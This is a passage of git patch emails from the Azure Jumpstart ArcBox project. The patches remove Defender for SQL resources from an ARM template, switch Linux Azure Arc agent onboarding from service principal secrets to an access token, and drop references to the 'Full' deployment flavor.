- # Set defender for cloud log analytics workspace - Write-Header "Updating Log Analytics workspacespace for defender for cloud for SQL Server" - az security workspace-setting create -n default --target-workspace $workspaceResourceID --only-show-errors - } - else { - Write-Header "Current Defender for SQL plan is $($currentsqlplan.pricingTier)" - } - # Before deploying ArcBox SQL set resource group tag ArcSQLServerExtensionDeployment=Disabled to opt out of automatic SQL onboarding az tag create --resource-id "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup" --tags ArcSQLServerExtensionDeployment=Disabled From 86085e016e9af31ba32e5ba9cccf6b891a33a235 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Fri, 21 Jun 2024 10:23:19 -0400 Subject: [PATCH 166/456] Update mgmtArtifacts.json --- .../ARM/mgmt/mgmtArtifacts.json | 22 +------------------ 1 file changed, 1 insertion(+), 21 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json b/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json index b0904e3b1d..5b6a8e1683 100644 --- a/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json +++ b/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json @@ -598,26 +598,6 @@ } ] } - }, - { - "type": "Microsoft.Security/pricings", - "apiVersion": "2024-01-01", - "name": "SqlServerVirtualMachines", - "properties": { - "pricingTier": "Standard" - } - }, - { - "type": "Microsoft.Security/workspaceSettings", - "apiVersion": "2017-08-01-preview", - "name": "default", - "properties": { - "workspaceId": "[concat('/subscriptions/', subscription().id, '/resourceGroups/', resourceGroup().name, '/providers/Microsoft.OperationalInsights/workspaces/', parameters('workspaceName'))]", - "scope": "[subscription().id]" - }, - "dependsOn": [ - "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]" - ] - } + } ] } From 9e217dbe6bdaba8434e3dc0d71a17fa54b68ea49 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Fri, 21 Jun 2024 12:56:55 -0400 Subject: [PATCH 167/456] Fixed Linux VM onboarding script --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 5 +++-- azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index a5d1659482..d9bbf2702f 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -380,8 +380,9 @@ if ($Env:flavor -ne "DevOps") { Copy-VMFile $Win2k19vmName -SourcePath "$agentScript\installArcAgent.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgent.ps1" -CreateFullPath -FileSource Host -Force Copy-VMFile $Win2k22vmName -SourcePath "$agentScript\installArcAgent.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgent.ps1" -CreateFullPath -FileSource Host -Force - # Create appropriate onboard script to SQL VM depending on whether or not the Service Principal has permission to peroperly onboard it to Azure Arc - (Get-Content -path "$agentScript\installArcAgentUbuntu.sh" -Raw) -replace '\$spnClientId', "'$Env:spnClientId'" -replace '\$spnClientSecret', "'$Env:spnClientSecret'" -replace '\$resourceGroup', "'$resourceGroup'" -replace '\$spnTenantId', "'$Env:spnTenantId'" -replace '\$azureLocation', "'$Env:azureLocation'" -replace '\$subscriptionId', "'$subscriptionId'" | Set-Content -Path "$agentScript\installArcAgentModifiedUbuntu.sh" + # Update Linux VM onboarding script connect toAzure Arc, get new token as it might have been expired by the time execution reached this line. + $accessToken = (Get-AzAccessToken).Token + (Get-Content -path "$agentScript\installArcAgentUbuntu.sh" -Raw) -replace '\$accessToken', "'$accessToken'" -replace '\$resourceGroup', "'$resourceGroup'" -replace '\$spnTenantId', "'$Env:spnTenantId'" -replace '\$azureLocation', "'$Env:azureLocation'" -replace '\$subscriptionId', "'$subscriptionId'" | Set-Content -Path "$agentScript\installArcAgentModifiedUbuntu.sh" # Copy installation script to nested Linux VMs Write-Output "Transferring installation script to nested Linux VMs..." diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh b/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh index 8c4a2f3966..ae0ccdf743 100644 --- a/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh +++ b/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh @@ -14,7 +14,7 @@ bash ~/install_linux_azcmagent.sh # 2>/dev/null ArcServerResourceName=$(hostname |sed -e "s/\b\(.\)/\u\1/g") # Run connect command -azcmagent connect --service-principal-id $spnClientId --service-principal-secret $spnClientSecret --resource-group $resourceGroup --tenant-id $spnTenantId --location $Azurelocation --subscription-id $subscriptionId --resource-name "${ArcServerResourceName}" --cloud "AzureCloud" --tags "Project=jumpstart_arcbox" --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" +azcmagent connect --access-token $accessToken --resource-group $resourceGroup --tenant-id $spnTenantId --location $Azurelocation --subscription-id $subscriptionId --resource-name "${ArcServerResourceName}" --cloud "AzureCloud" --tags "Project=jumpstart_arcbox" --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" # Configure the agent to allow connections on port 22 azcmagent config set incomingconnections.ports 22 \ No newline at end of file From 0d9890b42098a3cd61d59b84e3aa238c462d8398 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Fri, 21 Jun 2024 19:54:12 -0400 Subject: [PATCH 168/456] Removed Full flavor references everywhere --- .github/ISSUE_TEMPLATE/bug_report.md | 1 - azure_jumpstart_arcbox/ARM/azuredeploy.json | 3 +-- .../ARM/azuredeploy.parameters.json | 2 +- .../ARM/azuredeploywithroleassignments.json | 3 +-- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 4 ++-- .../ARM/kubernetes/ubuntuCapi.json | 1 - .../ARM/mgmt/policyAzureArcBuiltins.json | 3 --- .../artifacts/ArcServersLogonScript.ps1 | 12 ++---------- .../artifacts/DeploymentStatus.ps1 | 2 +- azure_jumpstart_arcbox/bicep/main.parameters.json | 2 +- azure_jumpstart_arcbox/terraform/main.tf | 8 ++++---- .../terraform/modules/mgmt/mgmtArtifacts/main.tf | 2 +- .../terraform/modules/mgmt/mgmtPolicy/main.tf | 6 +++--- 13 files changed, 17 insertions(+), 32 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index 6df1323bc9..2c80667c52 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -31,7 +31,6 @@ assignees: '' **Have you looked at the Troubleshooting and Logs section?**